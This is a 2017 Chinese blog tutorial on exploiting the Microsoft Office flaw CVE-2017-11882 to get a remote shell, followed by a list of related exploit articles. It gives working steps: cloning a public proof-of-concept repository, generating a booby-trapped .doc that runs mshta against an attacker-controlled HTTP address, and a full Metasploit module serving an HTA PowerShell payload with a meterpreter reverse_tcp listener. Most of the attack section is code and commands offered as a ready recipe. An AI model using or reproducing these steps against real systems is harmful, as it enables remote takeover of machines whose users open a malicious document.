office漏洞利用--获取shell
2017-12-11 19:09
597 查看
环境:
kali系统, windows系统
流程:
在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招
第一种利用方式, 适合测试用:
从git下载代码:
kali系统, windows系统
流程:
在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招
第一种利用方式, 适合测试用:
从git下载代码:
git clone https://github.com/Ridter/CVE-2017-11882[/code]
执行以下代码, 会在当前目录生成一个doc:python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
会生成一个test.doc文件, 如果有漏洞的电脑打开这个文件, 就会弹出一个计算器;
第二种利用方式, 反弹获得shell:
kali系统准备:
复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/cve_2017_11882.rb目录(要注意代码缩进哦):## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Payload Delivery', 'Description' => %q{ This module generates an command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. Currently have not figured out how to generate a doc. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Automatic', {} ], ], 'DefaultTarget' => 0, )) end def on_request_uri(cli, _request) print_status("Delivering payload") p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win '} ) send_response(cli, data, 'Content-Type' => 'application/hta') end def primer url = get_uri print_status("Place the following DDE in an MS document:") print_line("mshta.exe \"#{url}\"") end end
在命令行启动msf的服务:service postgresql start
再启动msf:sudo msfconsole
重新加载所有模块:reload_all
查找我们刚刚新建的cve_2017_11882模块:search cve_2017_11882
加载这个模块:use exploit/windows/smb/cve_2017_11882
使用反弹shellcode, 配置本机地址, 配置uri地址set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.105 set uripath aaaa exploit
生成漏洞利用文件test1.doc
实现使用ifconfig查到当前计算机IP,然后在clone下来的项目下执行以下命令, 当前系统下回生成一个test1.doc文件:python Command109b_CVE-2017-11882.py -c "mshta http://192.168.0.108/aaaa" -o test1.doc
(注意,aaaa这个名字和msf的 uripath是一样的, 不能乱写)
把生成的test1.doc 放到window系统执行, msf就会返回一个shell
相关资源:
POC的项目地址:https://github.com/Ridter/CVE-2017-11882/python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830
相关文章推荐
- Android利用 libsuperuse执行shell命令或获取root权限
- 利用Shell命令获取IP地址
- 利用shell脚本自动获取awr报表
- web安全概述——漏洞到获取shell
- Drupal 7.31SQL注入getshell漏洞利用详解及EXP
- metasploit利用vsftpd漏洞获取root权限
- 利用CMS漏洞渗透并获取某服务器权限
- 利用Python爬虫每天获取最新的CVE安全漏洞,存放至mysql数据库中
- metasploit获取shell之后进一步利用!metasploit+sessions
- metasploit获取shell之后进一步利用!metasploit+sessions
- 第四章:iOS应用漏洞利用 ——4.3 从日志相关文件获取信息
- 利用oracle反弹SHELL 获取windows服务器权限
- PHP下利用shell后台运行PHP脚本,并获取该脚本的Process ID的代码
- Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路
- Android利用adb shell命令获取屏幕的点击坐标之横屏竖屏的区别
- Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本
- PHP下利用shell后台运行PHP脚本,并获取该脚本的Process ID的代码
- Karsten Nohl 利用SIM卡GSM鉴权漏洞获取用户秘钥,可以从远程操作和监视手机
- 重磅:利用麦当劳网站的漏洞获取用户密码
- 利用IIS写权限漏洞、IIS6.0文件名解析漏洞上传shell